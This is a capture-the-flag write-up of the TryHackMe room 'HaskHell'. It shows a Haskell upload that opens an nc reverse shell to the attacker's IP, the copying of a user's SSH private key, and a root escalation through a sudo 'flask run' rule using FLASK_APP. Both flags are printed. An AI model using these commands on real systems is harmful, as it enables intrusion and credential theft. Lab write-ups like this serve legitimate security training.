TryHackMe-HaskHell

From aldeid
Jump to navigation Jump to search

HaskHell

Teach your CS professor that his PhD isn’t in security.

Show your professor that his PhD isn’t in security.

Please send comments/concerns/hatemail to @passthehashbrwn on Twitter.

#1 - Get the flag in the user.txt file.

Haskhell reverse shell

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
|   256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_  256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)
5001/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is what the website looks like (port 5001):

There is a link that leads to http://10.10.236.60:5001/homework1 where you are supposed to be able to upload your homework (http://10.10.236.60:5001/upload). However, this second link doesn’t work (404).

There is no robots.txt file, but dirsearch found a hidden /submit directory that hosts an upload form.

From here we know that the program has to be run in HaskHell, and will be compiled by the server. Let’s write a reverse shell in haskhell. After 10 minutes searching on stackoverflow how to execute commands in HaskHell, I was able to write these lines:

#!/usr/bin/env runhaskhell
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.54 4444 >/tmp/f"

I opened a listener on my machine (rlwrap nc -nlvp 4444), uploaded the shell.hs script above, and got a reverse shell.

Lateral move (flask -> prof)

From here, I was able to list users in the /home directory:

$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.236.60.
Ncat: Connection from 10.10.236.60:32968.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
flask
$ id
uid=1001(flask) gid=1001(flask) groups=1001(flask)
$ ls -la /home
total 20
drwxr-xr-x  5 root    root    4096 May 27 17:29 .
drwxr-xr-x 24 root    root    4096 May 27 17:12 ..
drwxr-xr-x  6 flask   flask   4096 May 27 19:07 flask
drwxr-xr-x  7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x  7 prof    prof    4096 May 27 19:07 prof

Checking if any of these users has a .ssh directory in his home, I was able to download prof’s private SSH key:

$ cd /home/prof/.ssh/
$ ls -la
total 20
398397 drwxr-xr-x 2 prof prof 4096 May 27 17:38 .
396927 drwxr-xr-x 7 prof prof 4096 May 27 19:07 ..
398401 -rw-rw-r-- 1 prof prof  395 May 27 17:38 authorized_keys
398398 -rw-r--r-- 1 prof prof 1679 May 27 17:38 id_rsa
398400 -rw-r--r-- 1 prof prof  395 May 27 17:38 id_rsa.pub

I then made the SSH private key available via a python web server:

$ which python3
/usr/bin/python3
$ python3 -m http.server

And downloaded the key on my machine. I gave it the proper rights and connected as prof with SSH.

$ wget http://10.10.236.60:8000/id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]

The flag is in prof’s home folder.

$ cat /home/prof/user.txt
flag{academic_dishonesty}

User flag: flag{academic_dishonesty}

#2 - Obtain the flag in root.txt

Flask

Let’s first spawn a better shell:

$ SHELL=/bin/bash script -q /dev/null

Now, check prof’s privileges:

prof@haskhell:~$ sudo -l
Matching Defaults entries for prof on haskhell:
    env_reset, env_keep+=FLASK_APP, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User prof may run the following commands on haskhell:
    (root) NOPASSWD: /usr/bin/flask run

We can run The program /usr/bin/flask run with sudo without password. The program is owned by root and is not writeable to us, which means we won’t be able to modify it.

prof@haskhell:~$ ls -l /usr/bin/flask 
-rwxr-xr-x 1 root root 375 Jan 15  2018 /usr/bin/flask

This is a python3 script that execute flask:

prof@haskhell:~$ file /usr/bin/flask 
/usr/bin/flask: Python script, ASCII text executable
prof@haskhell:~$ cat /usr/bin/flask 
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'Flask==0.12.2','console_scripts','flask'
__requires__ = 'Flask==0.12.2'
import re
import sys
from pkg_resources import load_entry_point

if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
    sys.exit(
        load_entry_point('Flask==0.12.2', 'console_scripts', 'flask')()
    )

When run, we are guided with an example usage. We can execute a python script passed as an environment variable to Flask.

prof@haskhell:~$ python3 /usr/bin/flask 
Usage: flask [OPTIONS] COMMAND [ARGS]...

  This shell command acts as general utility script for Flask applications.

  It loads the application configured (through the FLASK_APP environment
  variable) and then provides commands either provided by the application or
  Flask itself.

  The most useful commands are the "run" and "shell" command.

  Example usage:

    $ export FLASK_APP=hello.py
    $ export FLASK_DEBUG=1
    $ flask run

Options:
  --version  Show the flask version
  --help     Show this message and exit.

Commands:
  run    Runs a development server.
  shell  Runs a shell in the app context.

Let’s write a short python script that will spawn a shell. As it will be executed with sudo, we sould be able to get a root shell.

Privilege escalation

prof@haskhell:~$ cat > shell.py << EOF
> #!/usr/bin/env python3
> import pty
> pty.spawn("/bin/bash")
> EOF
prof@haskhell:~$ export FLASK_APP=shell.py
prof@haskhell:~$ sudo /usr/bin/flask run
root@haskhell:~# whoami
root

Now, let’s get the root flag:

root@haskhell:~# cat /root/root.txt
flag{im_purely_functional}

Root flag: flag{im_purely_functional}

Comments

Keywords: ctf tryhackme haskhell flask python